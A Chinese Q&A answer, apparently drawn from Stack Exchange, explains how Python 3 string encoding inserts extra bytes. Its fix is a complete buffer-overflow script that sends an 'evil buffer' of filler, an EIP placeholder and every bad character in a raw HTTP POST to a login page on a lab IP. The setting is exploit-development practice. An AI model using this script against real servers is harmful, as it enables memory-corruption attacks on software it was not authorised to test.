Python3为HTTP请求编码转义十六进制避免空字节的方法

你遇到的空字节/额外异常字节问题完全是Python3的字符串编码特性导致的，修改方案非常明确：

根因分析 #

Python3中普通字符串（str类型）本质是Unicode编码序列，你代码中写的"\xff"这类字面量实际对应的是Unicode码位，而非原始单字节。当你调用str.encode()方法默认用UTF-8编码时：

• 码位在U+0080到U+00FF范围内的字符都会被编码为2字节的UTF-8序列，比如"\x80".encode()会输出b'\xc2\x80'，"\xff".encode()会输出b'\xc3\xbf'
• 多出来的\xc2、\xc3等字节就是你抓包看到的异常内容，同时你按str长度计算的Content-Length也和实际发送的字节数不匹配，进一步导致传输异常。

解决方法 #

所有payload相关内容全部用bytes类型定义和拼接，全程不经过Unicode字符串的编码转换，就能保证每个字节和你预期的完全一致。

修改后的参考代码：

#!/usr/bin/python3
import sys
import socket

targetip = "192.168.168.10"
targetport = 80

try:
    # 所有payload变量全部定义为bytes类型，加b前缀
    filler = b"A" * 780
    eip = b"BBBB"
    offset = b"C" * 4
    # badchars直接定义为bytes
    badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

    inputBuffer = filler + eip + offset + badchars
    print("=" * 50)
    print("Sending evil buffer with %s bytes:" % len(inputBuffer))
    print("=" * 50)
    
    # 构造content字节流
    content = b"username="+ inputBuffer + b"&password=A"
    # 构造请求头，字符串转bytes再拼接
    request = b"POST /login HTTP/1.1\r\n"
    request += b"Host: 192.168.168.10\r\n"
    request += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
    request += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
    request += b"Accept-Language: en-US,en;q=0.5\r\n"
    request += b"Accept-Encoding: gzip, deflate\r\n"
    request += b"Content-Type: application/x-www-form-urlencoded\r\n"
    # 按实际字节长度计算Content-Length
    request += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
    request += b"\r\n"
    request += content
    
    print(request)
            
    # 直接发送bytes，不需要再encode
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((targetip, targetport))
    s.send(request)
    s.close()
    print("=" * 50)
    print("Complete!")
    print("=" * 50)
except Exception as e:
    print("\nCould not connect!", e)
    sys.exit(0)
sys.exit(0)

补充说明 #

如果你需要严格遵循application/x-www-form-urlencoded规范传输特殊字符，需要对非ASCII/控制字符做百分号编码（比如\xff编码为%FF），但如果是做缓冲区溢出测试，目标服务通常直接读取原始字节，不需要额外编码，按上面的代码直接发送即可。

内容的提问来源于stack exchange，提问作者spookymonkey